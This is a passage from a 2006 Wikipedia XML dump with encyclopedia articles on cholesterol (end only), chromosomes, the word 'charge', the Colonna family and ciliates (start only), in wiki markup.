The average amount of blood cholesterol varies with age, typically rising gradually until one is about 60 years old. A study by Ockene ''[[et al.]]'' showed that there are seasonal variations in cholesterol levels in humans, more, on average, in winter.

=== Excretion ===
Cholesterol is excreted from the [[liver]] in [[bile]] and reabsorbed from the intestines. Under certain circumstances, when more concentrated, as in the [[gallbladder]], it crystallises and is the major constituent of most [[gallstone]]s, although [[lecithin]] and [[bilirubin]] gallstones also occur less frequently.

== Role in atheromatous disease ==
''See also the main article [[hypercholesterolemia]]''

In conditions with elevated concentrations of LDL particles, especially small LDL particles, cholesterol promotes [[atheroma]] plaque deposits in the walls of [[artery|arteries]], a condition known as ''[[atherosclerosis]]'', which is a major contributor to [[coronary heart disease]] and other forms of [[cardiovascular disease]]. (In contrast, HDL particles have been the only identified mechanism by which cholesterol can be removed from [[atheroma]]. Increased concentrations of large HDL particles, not total HDL particles, correlate with lower rates of atheroma progressions, even regression.)

There is a world-wide trend to believe that lower total cholesterol levels tend to correlate with lower atherosclerosis event rates. Due to this reason, cholesterol has become a very large focus for scientific researchers trying to determine the proper amount of cholesterol needed in a healthy diet.However, the primary association of atherosclerosis with cholesterol has always been specifically with cholesterol transport patterns, not total cholesterol per se. For example, total cholesterol can be low, yet made up primarily of small LDL and small HDL particles and atheroma growth rates are high. In contrast, however, if LDL particle number is low (mostly large particles) and a large percentage of the HDL particles are large (HDL is actively reverse transporting cholesterol), then atheroma growth rates are usually low, even negative, for any given total cholesterol concentration. 

Multiple human trials utilizing HMG-CoA reductase inhibitors or ''statins'', have repeatedly confirmed that changing lipoprotein transport patterns from unhealthy to healthier patterns significantly lower cardiovascular disease event rates, even for people with cholesterol values currently considered low for adults; However, ''no'' statistically significant mortality benefit has been derived to date by lowering cholesterol using medications in ''asymptomatic'' people, i.e., no heart disease, no history of heart attack, etc.

Some of the better recent randomized human outcome trials studying patients with coronary artery disease or its risk equivalents include the [[Heart Protection Study]] (HPS), the PROVE IT trial, and the TNT trial. In addition, there are trials that have looked at the effect of lowering LDL as well as raising HDL and atheroma burden using intravascular ultrasound.  Small trials have shown prevention of progression of coronary artery disease and possibly a slight reduction in atheroma burden with successful treatment of an abnormal lipid profile.

The [http://www.americanheart.org/cholesterol/about.jsp American Heart Association] provides a set of guidelines for total (fasting) blood cholesterol levels and risk for heart disease:

{| cellpadding=3 cellspacing=0 border=1 style=&quot;border-collapse:collapse&quot;
|bgcolor=&quot;#cccccc&quot;| '''Level''' [[Milligram|mg]]/[[Decilitre|dL]]
|bgcolor=&quot;#cccccc&quot;| '''Level''' [[Mole (unit)|mmol]]/[[Litre|L]]
|bgcolor=&quot;#cccccc&quot;| '''Interpretation'''
|-
| &lt;200
| &lt;5.2
| Desirable level corresponding to lower risk for heart disease
|-
| 200-239
| 5.2-6.2
| Borderline high risk
|-
| &gt;240
| &gt;6.2
| High risk
|}

However, as today's testing methods determine LDL (&quot;bad&quot;) and HDL (&quot;good&quot;) cholesterol separately, this simplistic view has become somewhat outdated. The desirable LDL level is considered to be less than 100 mg/dL (2.6 [[Mole (unit)|mmol]]/[[Litre|L]]), although a newer target of &lt;70 mg/dL can be considered in higher risk individuals based on some of the above-mentioned trials. A ratio of total cholesterol to HDL &amp;mdash;another useful measure&amp;mdash; of far less than 5:1 is thought to be healthier. Of note, typical LDL values for children before [[fatty streaks]] begin to develop is 35 mg/dL.

Patients should be aware that most testing methods for LDL do not actually measure LDL in their blood, much less particle size. For cost reasons, LDL values have long been estimated using the formula: Total-cholesterol &amp;minus; total-HDL &amp;minus; 20% of the [[triglyceride]] value = estimated LDL.

Increasing clinical evidence has strongly supported the greater predictive value of more-sophisticated testing that directly measures both LDL and HDL particle concentrations and size, as opposed to the more usual estimates/measures of the total cholesterol carried within LDL particles or the total HDL concentration. There are three commercial labs in the United States that offer more-sophisticated analysis using different methodologies. As outlined above, the real key is cholesterol transport, which is determined by both the proteins that form the [[lipoprotein]] particles and the proteins on cell surfaces with which they interact.

== Hypocholesterolemia ==

Although relatively rare, an excessively low cholesterol level ([[hypocholesterolemia]]) (readings below 160 mg/dL) can increase the risk of depression, cancer, hemorrhagic stroke, respiratory diseases.

Possible causes of low cholesterol are: 
*[[hyperthyroidism]], or an overactive thyroid gland
*[[liver disease ]]
*[[malabsorption ]]
*inadequate absorption of nutrients from the [[intestines]]
*[[malnutrition]]

Manganese deficiency has also been linked to low cholesterol levels.

== Cholesteric liquid crystals ==
Some cholesterol derivatives, (among others simple cholesteric lipids) are known to generate [[liquid crystal|liquid crystalline]] phase called ''cholesteric''. The cholesteric phase is in fact a  [[chirality (chemistry)|chiral]] [[nematic phase]], and changes colour when its temperature changes. Therefore, cholesterol derivatives are commonly used as temperature-sensitive [[dye|dyes]], in liquid crystal [[thermometer]]s, and in temperature-sensitive paints.

==See also==

* [[triglyceride]]s

== Sources ==
* Anderson RG. Joe Goldstein and Mike Brown: from cholesterol homeostasis to new paradigms in membrane biology. Trends Cell Biol 2003:13:534-9. PMID  14507481.
* Haines, TH.  Do sterols reduce proton and sodium leaks through lipid bilayers? Prog. Lipid Res. 2001:40:299–324.
* Ockene IS, Chiriboga DE, Stanek EJ 3rd, Harmatz MG, Nicolosi R, Saperia G, Well AD, Freedson P, Merriam PA, Reed G, Ma Y, Matthews CE, Hebert JR. ''Seasonal variation in serum cholesterol levels: treatment implications and possible mechanisms.'' Arch Intern Med 2004;164:863-70. PMID 15111372.

== External links ==
* [http://www.nhlbi.nih.gov/guidelines/cholesterol/ Detection, Evaluation, and Treatment of High Blood Cholesterol in Adults ] US National Institutes of Health Adult Treatment Panel III
* [http://www.fao.org/docrep/V4700E/V4700E08.htm Aspects of fat digestion and metabolism - UN/WHO Report 1994]
* [http://www.americanheart.org/cholesterol/about.jsp American Heart Association]

[[Category:Steroids]][[Category:Nutrition]]

[[bg:Холестерол]]
[[de:Cholesterin]]
[[es:Colesterol]]
[[fr:Cholestérol]]
[[it:Colesterolo]]
[[he:כולסטרול]]
[[lt:Cholesterolis]]
[[nl:Cholesterol]]
[[ja:コレステロール]]
[[pl:Cholesterol]]
[[pt:Colesterol]]
[[ru:Холестерин]]
[[simple:Cholesterol]]
[[sk:Cholesterol]]
[[sr:Холестерол]]
[[fi:Kolesteroli]]
[[sv:Kolesterol]]
[[th:คอเลสเตอรอล]]
[[vi:Cholesterol]]
[[tr:Kolesterol]]
[[uk:Холестерин]]
[[zh:膽固醇]]</text>
    </revision>
  </page>
  <page>
    <title>Chromosome</title>
    <id>6438</id>
    <revision>
      <id>41998509</id>
      <timestamp>2006-03-03T03:12:20Z</timestamp>
      <contributor>
        <username>Rsabbatini</username>
        <id>3044</id>
      </contributor>
      <comment>rm vandalism</comment>
      <text xml:space="preserve">:''For information about chromosomes in [[genetic algorithm]]s, see [[Chromosome (genetic algorithm)]].''

[[image:chromosome.png|frame|'''Figure 1:''' Chromosome. (1) &lt;font color=&quot;#0002FF&quot;&gt;[[Chromatid]]&lt;/font&gt;. One of the two identical parts of the chromosome after [[S phase]]. (2) &lt;font color=&quot;#FF0000&quot;&gt;Centromere&lt;/font&gt;. The point where the two chromatids touch, and where the microtubules attach. (3) Short arm (4) Long arm.]]

The [[DNA]] which carries [[genetic information]] in [[Cell (biology)|cells]] is normally packaged in the form of one or more large [[macromolecule]]s called '''chromosomes'''.

A chromosome, from the [[ancient Greek]] ''χρωμα'' (color) and ''σωμα'' (body) is, minimally, a very long, continuous piece of DNA, which contains many [[gene]]s, [[regulatory sequence|regulatory element]]s and other intervening [[genetic sequence|nucleotide sequences]]. In the chromosomes of [[eukaryote]]s, the uncondensed DNA exists in a quasi-ordered structure inside the [[cell nucleus|nucleus]], where it wraps around [[histone]]s (structural [[protein]]s, Fig. 1), and where this composite material is called [[chromatin]]. During [[mitosis]] (cell division), the chromosomes are condensed and a spindle composed of microtubules is formed.  Microtubules are self-assembled from [[dimers]] of alpha and beta [[tubulin]].  Microtubules attach to chromosomes at specialized structures, the kinetochores, one of which is present on each sister chromatid.  Sister chromatids are attached at an area called the [[centromere]].  This term is sometimes misleading, however, because they are not necessarily joined at the center of the chromosome.  A special DNA base sequence in the region of the kinetochores provides, along with special proteins, longer-lasting attachment in this region.  This is the only natural context in which individual chromosomes are visible with an optical [[microscope]]. Each chromosome has two arms, the shorter one called '''p arm''' (from the [[French language|French]] ''petit'', small) and the longer one '''q arm''' (''q'' following ''p'' in the Latin alphabet). [[Prokaryote]]s do not possess histones or nuclei. In its relaxed state, the DNA can be accessed for [[Transcription (genetics)|transcription]], regulation, and [[replication]].

==History==

Chromosomes were first observed in [[plant]] cells by [[Switzerland|Swiss]] [[botanist]] [[Karl Wilhelm von Nägeli]] (1817-1891) in [[1842]], and independently, in [[Ascaris]] [[worm]]s, by the Belgian scientist [[Edouard Van Beneden]] (1846-1910). The use of [[basophilic]] [[aniline]] [[dye]]s was a fundamentally new technique for effectively [[staining]] the [[chromatin]] material inside the nucleus. Their behavior in animal ([[salamander]]) cells was later described in detail by [[Germany|German]] [[anatomist]] [[Walther Flemming]] (1843-1905), the discoverer of [[mitosis]], in [[1882]]. The name was invented later by another German anatomist, [[Heinrich Wilhelm Gottfried von Waldeyer-Hartz|Heinrich von Waldeyer]]. In [[1910]], American [[geneticist]] [[Thomas Hunt Morgan]] (1866-1945) proved that chromosomes are the carriers of genes, by studying the common [[Drosophila melanogaster|fruit fly]] ([[Drosophila melanogaster]]).a

== Chromosomes in plants, yeast and animals ==
[[Eukaryotes]] ([[cell (biology)|cells]] with nuclei such as plants, yeast, and animals) possess multiple linear chromosomes contained in the cell's nucleus. Each chromosome has one [[centromere]], with one or two arms projecting from the centromere. The ends of the chromosomes are special structures called ''[[telomere]]s''. DNA replication begins at many different locations on the chromosome.

==Chromosomes in bacteria==
Bacterial chromosomes are often circular but sometimes linear. Some bacteria have one chromosome, while others have a few. Bacterial DNA also exists as [[plasmid]]s. The distinction between plasmids and chromosomes is poorly defined, though size and necessity are generally taken into account. Bacterial chromosomes initiate replication and one origin of replication.

When linear, bacterial chromosomes tend to be tethered to the [[plasma membrane]] of the bacteria.  In molecular biology application, this allows for its isolation from plasmid DNA by centrifugation of lysed bacteria and pelleting of membranes (and the attached DNA).

== Chromatin ==
Two types of [[chromatin]] can be distinguished:
*[[Euchromatin]], which consists of DNA that is active, e.g., expressed as protein.
*[[Heterochromatin]], which consists of mostly inactive DNA. It seems to serve structural purposes during the chromosomal stages. Heterochromatin can be further distinguished into two types:
**''Constitutive heterochromatin'', which is never expressed. It is located around the centromere and usually contains [[Repeated sequence (DNA)|repetitive sequences]].
**''Facultative heterochromatin'', which is sometimes expressed.

[[image:chromatin_chromosome.png|frame|none|'''Figure 2:''' Different levels of DNA condensation. (1) Single DNA strand. (2) Chromatin strand (&lt;font color=&quot;#0000FF&quot;&gt;'''DNA'''&lt;/font&gt; with &lt;font color=&quot;#008000&quot;&gt;'''histones'''&lt;/font&gt;). (3) Chromatin during [[interphase]] with &lt;font color=&quot;#FF0000&quot;&gt;'''centromere'''&lt;/font&gt;.  (4) Condensed chromatin during [[prophase]]. (Two copies of the DNA molecule are now present) (5) Chromosome during [[metaphase]].]]

In the very early stages of mitosis, the chromatin strands become more and more condensed. They cease to function as accessible genetic material and become a compact transport form. Eventually, the two matching [[chromatid]]s (condensed chromatin strands) become visible as a chromosome, linked at the [[centromere]]. Long [[microtubule]]s are attached at the centromere and two opposite ends of the cell. During mitosis, the microtubules pull the chromatids apart, so that each daughter cell inherits one set of chromatids. Once the cells have divided, the chromatids are uncoiled and can function again as chromatin. In spite of their appearance, chromosomes are highly structured (Fig. 2). For example, genes with similar functions are often kept close together in the nucleus, even if they are far apart on the chromosome. The short arm of a chromosome can be extended by a [[satellite chromosome]] that contains codes for [[ribosome|ribosomal]] [[RNA]].

== Number of chromosomes in different species ==

{| class=&quot;wikitable&quot; style=&quot;float:right; margin:1em 0 1em 1em&quot;
|+ Chromosome numbers in some animals
|-
! Species !! # !! Species !! #
|-
| [[Drosophila melanogaster|Fruit fly]] || 8
| [[Guinea Pig]] || 16
|-
| [[Dove]] || 16
| [[Snail]] || 24
|-
| [[Earthworm]] || 36
| [[Tibetan fox]] || 36
|-
| [[Cat]] || 38
| [[Pig]] || 38
|-
| [[Mouse]] || 40
| [[Rat]] || 42
|-
| [[Rabbit]] || 44
| [[Syrian hamster]] || 44
|-
| [[Hare]] || 46
| [[Human]] || 46
|-
| [[Ape]] || 48
| [[Sheep]] || 54
|-
| [[Elephant]] || 56
| [[Cattle|Cow]] || 60
|-
| [[Donkey]] || 62
| [[Horse]] || 64
|-
| [[Dog]] || 78
| [[Chicken]] || 78
|-
| [[Carp]] || 104
| [[Butterfly|Butterflies]] || 380
|}

{| class=&quot;wikitable&quot; style=&quot;float:right; margin:1em 0 1em 1em&quot;
|+ Chromosome numbers in some plants
|-
! Plant Species !! #
|-
| [[Arabidopsis]] || 10
|-
| [[Rye]] || 14
|-
| [[Maize]] || 20
|-
| [[Einkorn wheat]] || 14
|-
| Pollard wheat || 28
|-
| [[Bread wheat]] || 42
|-
| Wild [[tobacco]] || 24
|-
| Cultivated tobacco || 48
|-
| [[Fern]] || 1200
|}

Normal members of a particular [[species]] all have the same number of chromosomes (see the table).

[[Asexual reproduction|Asexually reproducing]] species have one set of chromosomes, which is the same in all body cells.

[[Gamete]]s, reproductive cells, are [[haploid]] [n] and have one set of chromosomes. [[sexual reproduction|Sexually reproducing]] species have [[somatic cell]]s, body cells, which are [[diploid]] [2n] having two sets of chromosomes, one from the mother and one from the father. Gametes are produced by [[meiosis]] of a diploid [[germ line]] cell. During meiosis, the matching chromosomes of father and mother can exchange small parts of themselves ([[Chromosomal crossover|crossover]]), and thus create new chromosomes that are not inherited solely from either parent. When a male and a female gamete merge ([[fertilization]]), a new diploid organism is formed.

Some animal and plant species are [[polyploid]] [Xn]  and have more than two sets of chromosomes. Agriculturally important plants such as tobacco or wheat are often polyploid compared to their ancestral species. Wheat has a haploid number of seven chromosomes, still seen in some [[cultivar]]s as well as the wild progenitors. The more common pasta and bread wheats are polyploid having 28 (tetraploid) and 42 (hexaploid) chromosomes compared to the 14 (diploid) chromosomes in the wild wheat{{ref|a}}.

Historical note: In 1921, [[Theophilus Painter]] claimed, based on his observations, that human sex cells had 24 chromosomes, giving humans 48 chromosomes total. It wasn't until 1955 that the number was clearly shown to be 23.
{{-}}

== Karyotype ==
[[image:NHGRI human male karyotype.png|thumb|right|200px|'''Figure 3''': Karyogram of human male]]
To determine the (diploid) number of chromosomes of an organism, cells can be locked in metaphase [[in vitro]] (in a reaction vial) with [[colchicine]]. These cells are then stained (the name chromosome was given because of their ability to be stained), photographed and arranged into a [[karyotype]] (an ordered set of chromosomes, Fig. 3), also called ''karyogram''. Like many sexually reproducing species, humans have special [[XY sex-determination system|gonosomes]] (sex chromosomes, in contrast to [[autosome]]s for body functions). These are XX in females and XY in males. In females, one of the two X chromosomes is inactive and can be seen under a microscope as [[Barr body|Barr bodies]].
{{-}}

==Human==
{| class=&quot;wikitable&quot; style=&quot;text-align:right&quot;
|-
! Chromosome !! [[Genes]] !! [[Nucleobase|Bases]] !! Determined bases†
|-
| [[Chromosome 1 (human)|1]]   || 2968 || 245,203,898 || 218,712,898
|-
| [[Chromosome 2 (human)|2]]   || 2288 || 243,315,028 || 237,043,673
|-
| [[Chromosome 3 (human)|3]]   || 2032 || 199,411,731 || 193,607,218
|-
| [[Chromosome 4 (human)|4]]   || 1297 || 191,610,523 || 186,580,523
|-
| [[Chromosome 5 (human)|5]]   || 1643 || 180,967,295 || 177,524,972
|-
| [[Chromosome 6 (human)|6]]   || 1963 || 170,740,541 || 166,880,540
|-
| [[Chromosome 7 (human)|7]]   || 1443 || 158,431,299 || 154,546,299
|-
| [[Chromosome 8 (human)|8]]   || 1127 || 145,908,738 || 141,694,337
|-
| [[Chromosome 9 (human)|9]]   || 1299 || 134,505,819 || 115,187,714
|-
| [[Chromosome 10 (human)|10]] || 1440 || 135,480,874 || 130,710,865
|-
| [[Chromosome 11 (human)|11]] || 2093 || 134,978,784 || 130,709,420
|-
| [[Chromosome 12 (human)|12]] || 1652 || 133,464,434 || 129,328,332
|-
| [[Chromosome 13 (human)|13]] ||  748 || 114,151,656 ||  95,511,656
|-
| [[Chromosome 14 (human)|14]] || 1098 || 105,311,216 ||  87,191,216
|-
| [[Chromosome 15 (human)|15]] || 1122 || 100,114,055 ||  81,117,055
|-
| [[Chromosome 16 (human)|16]] || 1098 ||  89,995,999 ||  79,890,791
|-
| [[Chromosome 17 (human)|17]] || 1576 ||  81,691,216 ||  77,480,855
|-
| [[Chromosome 18 (human)|18]] ||  766 ||  77,753,510 ||  74,534,531
|-
| [[Chromosome 19 (human)|19]] || 1454 ||  63,790,860 ||  55,780,860
|-
| [[Chromosome 20 (human)|20]] ||  927 ||  63,644,868 ||  59,424,990
|-
| [[Chromosome 21 (human)|21]] ||  303 ||  46,976,537 ||  33,924,742
|-
| [[Chromosome 22 (human)|22]] ||  288 ||  49,476,972 ||  34,352,051
|-
| X (sex chromosome)           || 1184 || 152,634,166 || 147,686,664
|-
| Y (sex chromosome)           ||  231 ||  50,961,097 ||  22,761,097
|-
| unplaced various             ||    ? ||  25,263,157 ||  25,062,835
|}
* † [[Human Genome Project]] goals called for determination of only the [[euchromatin|euchromatic]] portion of the genome. [[Telomere]]s, [[centromere]]s, and other [[heterochromatin|heterochromatic]] regions have been left undetermined, as have a small number of [[unclonable]] gaps. [http://www.ncbi.nlm.nih.gov/genome/seq/]

== Chromosomal aberrations ==
[[Image:Chromosome 21.gif|In Down syndrome, chromosome 21 is affected|thumb]]
Some chromosome abnormalities do not cause disease in carriers, such as [[translocations]], or [[chromosomal inversions]], although they may lead to a higher chance of having a child with a chromosome disorder. Abnormal numbers of chromosomes or chromosome sets, [[aneuploidy]], may be lethal or give rise to genetic disorders. [[Genetic counseling]] is offered for families that may carry a chromosome rearrangement.

The gain or loss of chromosome material can lead to a variety of [[genetic disorders]]. Examples include:
*[[Cri du chat]], which is caused by the [[Genetic deletion|deletion]] of part of the short arm of chromosome 5. &quot;Cri du chat&quot; means &quot;cry of the cat&quot; in French, and the condition was so-named because affected babies make high-pitched cries that sound like a cat. Affected individuals have wide-set eyes, a small head and jaw and are moderately to severely mentally retarded and very short.
*[[Wolf-Hirschhorn syndrome]], which is caused by partial deletion of the short arm of chromosome 4. It is characterized by severe growth retardation and severe to profound mental retardation.
*[[Down syndrome]], usually is caused by an extra copy of chromosome 21 ([[trisomy 21]]). Characteristics include decreased muscle tone, asymmetrical skull, slanting eyes and mild to moderate mental retardation.
*[[Edward's syndrome]], which is the second most common trisomy after Down syndrome.  It is a trisomy of chromosome 18.  Symptoms include mental and motor retardation as well as numerous congenital anomalies causing serious health problems. Ninety percent die in infancy; however, those who live past their first birthday usually are quite healthy thereafter. They have a characteristic hand appearance with clenched hands and overlapping fingers.
*[[Patau Syndrome]], also called D-Syndrome or trisomy-13. Symptoms are somewhat similar to those of trisomy-18, but they do not have the characteristic hand shape.
*[[Jacobsen syndrome]], also called the terminal 11q deletion disorder.[http://www.11q.org] This is a very rare disorder. Those affected have normal intelligence or mild mental retardation, with poor expressive language skills. Most have a bleeding disorder called [[Paris-Trousseau syndrome]].
*[[Klinefelter's syndrome]] (XXY). Men with Klinefelter syndrome are usually sterile, and tend to have longer arms and legs and to be taller than their peers. Boys with the syndroms are often shy and quiet, and have a higher incidence of speech delay and [[dyslexia]]. During puberty, some of them grow breasts and get a curvy figure.
*[[Turner syndrome]] (X instead of XX or XY). In Turner syndrome, female sexual characteristics are present but underdeveloped. People with Turner syndrome often have a short stature, low hairline, abnormal eye features and bone development and a &quot;caved-in&quot; appearance to the chest.
*[[XYY]] syndrome. XYY boys are usually taller than their brothers. They are more likely to be hyperactive, enjoying active games. Despite what was previously believed, XYY boys are no more likely than other boys to be violent.
*[[Triple-X syndrome]] (XXX). XXX girls tend to be tall and thin and are often shy. They have a higher incidence of dyslexia.
*[[Small supernumerary marker chromosome]]. This means there is an extra, abnormal chromosome. Features depend on the origin of the extra genetic material. [[Cat-eye syndrome]] and [[isodicentric chromosome 15 syndrome]] are both caused by a supernumerary marker chromosome, as is [[Pallister-Killian syndrome]].

A detailed graphical display of all human chromosomes and the diseases annotated at the correct spot may be found at [http://www.ornl.gov/hgmis/posters/chromosome/].

==See also==
* [[Locus (genetics)|Locus]] (explains gene location nomenclature)
* [[Sex-determination system]]
** [[XY sex-determination system]]
*** [[X chromosome]]
**** [[Lyon hypothesis]]
*** [[Y chromosome]]
**** [[Y-chromosomal Adam]]
**** [[Y-chromosomal Aaron]]
* [[Genetic genealogy]]
** [[Genealogical DNA test]]
*[[Genetic deletion]]
*[[List of number of chromosomes of various organisms]]

==External links==
*[http://gslc.genetics.utah.edu/units/disorders/karyotype/ What Can Our Chromosomes Tell Us?],an accessible and comprehensive look at chromosomes, from the University of Utah's Genetic Science Learning Center
*[http://gslc.genetics.utah.edu/units/disorders/karyotype/karyotype.cfm Try making a karyotype yourself], from the University of Utah's Genetic Science Learning Center
*[http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/C/Chromosomes.html Kimballs Chromosome pages]
*[http://www.genomenewsnetwork.org/categories/index/genome/chromosomes.php Chromosome News from Genome News Network]
*[http://www.11q.org European Chromosome 11q Network]
*[http://www.chromosomehelpstation.com/eurochromnet.htm Eurochromnet], European network for Rare Chromosome Disorders on the Internet
*http://www.ensembl.org [[Ensembl]] project, presenting chromosomes, their [[gene]]s and [[synteny|syntenic]] loci graphically via the web
==References==
#{{note|a}}  Sakamura, T. (1918), ''Kurze Mitteilung uber die Chromosomenzahlen und die Verwandtschaftsverhaltnisse der Triticum-Arten''. Bot. Mag., 32: 151-154.
{{Link FA|de}}

{{chromo}}

[[Category:Genetics]]
[[Category:Chromosomes|*]]

[[ar:كروموسوم]]
[[bg:Хромозоми]]
[[bn:ক্রোমোজোম]]
[[ca:Cromosoma]]
[[cs:Chromozóm]]
[[cy:Cromosom]]
[[da:Kromosom]]
[[de:Chromosom]]
[[es:Cromosoma]]
[[fa:رنگین‌تن]]
[[fr:Chromosome]]
[[gl:Cromosoma]]
[[ko:염색체]]
[[id:Kromosom]]
[[it:Cromosoma]]
[[he:כרומוזום]]
[[lt:Chromosoma]]
[[lv:Hromosoma]]
[[hu:Kromoszóma]]
[[mk:Хромозом]]
[[nl:Chromosoom]]
[[ja:染色体]]
[[pl:Chromosom]]
[[pt:Cromossomo]]
[[ru:Хромосома]]
[[sk:Chromozóm]]
[[fi:Kromosomi]]
[[sv:Kromosom]]
[[th:โครโมโซม]]
[[tr:Kromozom]]
[[zh:染色體]]</text>
    </revision>
  </page>
  <page>
    <title>Charge</title>
    <id>6439</id>
    <revision>
      <id>41948516</id>
      <timestamp>2006-03-02T20:48:14Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary}}
'''Charge''' is a word with many different meanings.

== Physics ==
In [[physics]], the concept of charge is derived from the observation of conserved [[quantum number]]s.

Various charge-like quantum numbers have been introduced by theories of [[particle physics]], e.g.
* [[electric charge]] for [[electromagnetic interaction]],
* [[magnetic charge]]  (currently purely theoretic),
* [[colour charge]] for [[gluon]]s,
* [[quark]] charges like [[strangeness]], and
* [[isospin]] for [[electroweak interaction]]s.

In the formalism of particle theories charge-like quantum numbers can sometimes be inverted by means of a [[charge conjugation]] operator called ''C''. [[Chiral fermion]]s often cannot.

== Others ==
*to ''take charge'', or being ''in charge'' means to take or have authority and responsibility for decisions
*In [[law]]:
:# A ''criminal charge'' is an accusation before a [[court]] by a prosecuting authority
:# A ''jury charge'' is an instruction or set of instructions given by a judge to a [[jury]] concerning the law applicable to the case under consideration
* more loosely, charged or [[loaded language]] employs emotional overtones.
* In group dynamics, [[charge (group dynamics)]] is the build up of negative emotions
*In heraldry, a [[charge (heraldry)|charge]] means objects on the shield.
*In [[munition]]s and [[explosive]]s, the ''charge'' is the explosive material used, for instance, to propel a bullet or shell, or demolish a structure.
*In an [[internal combustion engine]], &quot;charge&quot; is used to refer to the air or fuel/air mixture being fed into the intake. &quot;Charge air&quot; usually refers to air that has not had fuel mixed with it.
*During the European Middle Ages, a [[charge (youth)|charge]] often meant an underage person placed under the supervision of a nobleman 
*To [[charge (warfare)]] is a maneuver in battle where soldiers rush towards their enemy to engage in close combat 
*In context of wartime operations, to charge with certain [[rights]], such as guaranteeing persons held in custody are allowed those rights
*In money, a [[charge (finance)]] is any [[fee]] assessed, such as a charge for using an automatic teller machine (ATM), entering a museum, being late with a payment, etc
*In [[basketball]], a charge is an offensive foul, called when an offensive player with the ball makes illegal contact with a defensive player who has legally established his position.
*In [[Scientology]], a negative emotional imprint in the subconscious mind.
*''[[Charge!!]]'' is a 2005 album by [[The Aquabats]].
*[[Benzylpiperazine|Charge]] is the name of a legal party pill in New Zealand
*[[CHARGE syndrome]] refers to a specific set of birth defects in children.

{{disambig}}

[[da:Ladning]]
[[de:Ladung]]
[[ja:チャージ]]
[[fr:Charge]]
[[it:Carica]]
[[hu:Töltés]]
[[pt:Carga]]
[[ru:Заряд]]</text>
    </revision>
  </page>
  <page>
    <title>Colonna family</title>
    <id>6440</id>
    <revision>
      <id>42019933</id>
      <timestamp>2006-03-03T06:50:48Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <comment>added info about 1297 revolt, as best I understand it</comment>
      <text xml:space="preserve">[[Image:Colonna crest in the Lateran cloister.jpg|thumb|Crest of the Colonna family.]]
The '''Colonna family''' was a powerful noble family in [[Middle Ages|medieval]] and [[renaissance]] [[Rome]], supplying one [[pope]] and many other leaders, and fighting with their rivals the [[Orsini family]] for influence.  Otto di Colonna ended the [[Western Schism]] as [[Pope Martin V]].

According to their family tradition, the Colonna are a branch of the counts of Tusculum.  The first [[Catholic Cardinal|cardinal]] from the family was appointed in [[1192]] when Giovanni Colonna was made [[Cardinal Priest]] of [[Santa Prisca]].

In [[1297]] Cardinal Jacopo disinherited his brothers Ottone, Matteo, and Landolfo of their lands. The latter three appealed [[Pope Boniface VIII]], who ordered Jacopo to return the land, and furthermore hand over the family's strongholds of Colonna, [[Palestrina]], and other towns to the [[Papacy]]. Jacopo refused; in May Boniface removed him from the [[College of Cardinals]] and excommunicated him and his followers for four generations. The Colonna family (aside from the three brothers allied with the Pope) declared that Boniface had been elected illegally after the unprecedented [[papal abdication|abdication]] of [[Pope Celestine V]] three years previously. The dispute lead to open warfare, and in September Boniface appointed Landolfo to the command of his army, to put down the revolt of Landolfo's own relatives. This he did, and by the end of [[1298]] Colonna, Palestrina, and other towns had been captured and razed to the ground. The family's lands were distributed among Landolfo and his loyal brothers; the rest of the family fled Italy.

In [[1728]], the family added the name [[Barberini]] to its family name when Giulio Cesare Colonna di Sciarra married Cornelia Barberini, daughter of the last male Barberini to hold the name, Taddeo Barberini.

The Colonna family have been [[Prince Assistants to the Papal Throne]] since 1710, though their papal princely title only dates from 1854. 

==See also==
* [[Vittoria Colonna]], friend of [[Michelangelo]]
* [[Sciarra Colonna]], who participated in the Outrage of [[Anagni]]
* [[Fabrizio Colonna]], who was the father of [[Vittoria Colonna]], and a general in the [[holy league]].

{{euro-noble-stub}}
[[Category:Italian noble families]]

[[de:Colonna (Adelsgeschlecht)]]
[[es:Colonna]]
[[it:Colonna (famiglia)]]
[[ja:コロンナ家]]
[[sv:Colonna]]</text>
    </revision>
  </page>
  <page>
    <title>Ciliate</title>
    <id>6441</id>
    <revision>
      <id>41945623</id>
      <timestamp>2006-03-02T20:25:15Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>use Haeckel picture in taxobox to show the variety of forms; keep old picture; add more pictures</comment>
      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Ciliates
| image = Haeckel Ciliata.jpg
| image_caption = &quot;Ciliata&quot; from [[Ernst Haeckel]]'s ''Artforms of Nature'', 1904
| regnum = [[Protist]]a
| phylum = '''Ciliophora'''
| phylum_authority = [[Doflein]], 1901 ''emend.''
| subdivision_ranks = Classes
| subdivision = 
[[Karyorelictea]]&lt;br/&gt;
[[Heterotrich]]ea&lt;br/&gt;
[[Spirotrich]]ea&lt;br/&gt;
[[Litostomatea]]&lt;br/&gt;
[[Phyllopharyngea]]&lt;br/&gt;
[[Nassophorea]]&lt;br/&gt;
[[Colpodea]]&lt;br/&gt;
[[Prostomatea]]&lt;br/&gt;
[[Oligohymenophorea]]&lt;br/&gt;
[[Plagiopylid|Plagiopylea]]&lt;br/&gt;
See text for subclasses.
}}
The '''ciliates''' ([[pronounced]] /ˌsɪlɪeɪt/) are one of the most important groups of [[protist]]s, common almost everywhere there is water - [[lake]]s, [[pond]]s, [[ocean]]s, and [[soil]]s, with many [[Ectosymbiosis|ecto]]- and [[endosymbiotic]] members, as well as some obligate and opportunistic parasites.  Ciliates tend to be large protozoa, a few reaching 2 mm in length, and are some of the most complex in structure.  The name ''ciliate'' comes from the presence of hair-like organelles called [[cilium|cilia]], which are identical in structure to [[flagellum|flagella]] but typically shorter and present in much larger numbers.  Cilia occur in all members of the group, although the peculiar [[suctoria]] only have them for part of the life-cycle, and are variously used in swimming, crawling, attachment, feeding, and sensation.  

[[Image:Paramecium.jpg|thumb|''[[Paramecium]]'']]

